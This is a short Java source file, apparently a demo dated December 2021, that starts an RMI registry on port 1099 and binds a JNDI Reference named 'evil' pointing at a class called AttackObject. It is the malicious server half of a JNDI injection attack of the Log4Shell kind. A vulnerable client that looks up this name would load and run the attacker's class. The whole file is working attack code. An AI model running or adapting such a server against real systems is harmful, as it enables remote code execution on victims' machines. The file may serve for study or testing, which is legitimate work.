package com.hi.zack.demo.rmi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

/**
 * RMI服务
 *
 * @author Zack
 * @since 2021/12/13
 */
public class RMIServer {

    public static void main(String[] args) {
        try {
            LocateRegistry.createRegistry(1099);
            Registry registry = LocateRegistry.getRegistry();
            System.out.println("Create RMI registry success, server port 1099");

            Reference reference = new Reference("com.hi.zack.demo.rmi.AttackObject",
                    "com.hi.zack.demo.rmi.AttackObject", "com.hi.zack.demo.rmi.AttackObject");
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);

            registry.bind("evil", referenceWrapper);
            System.out.println("registry binding evil success!");

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
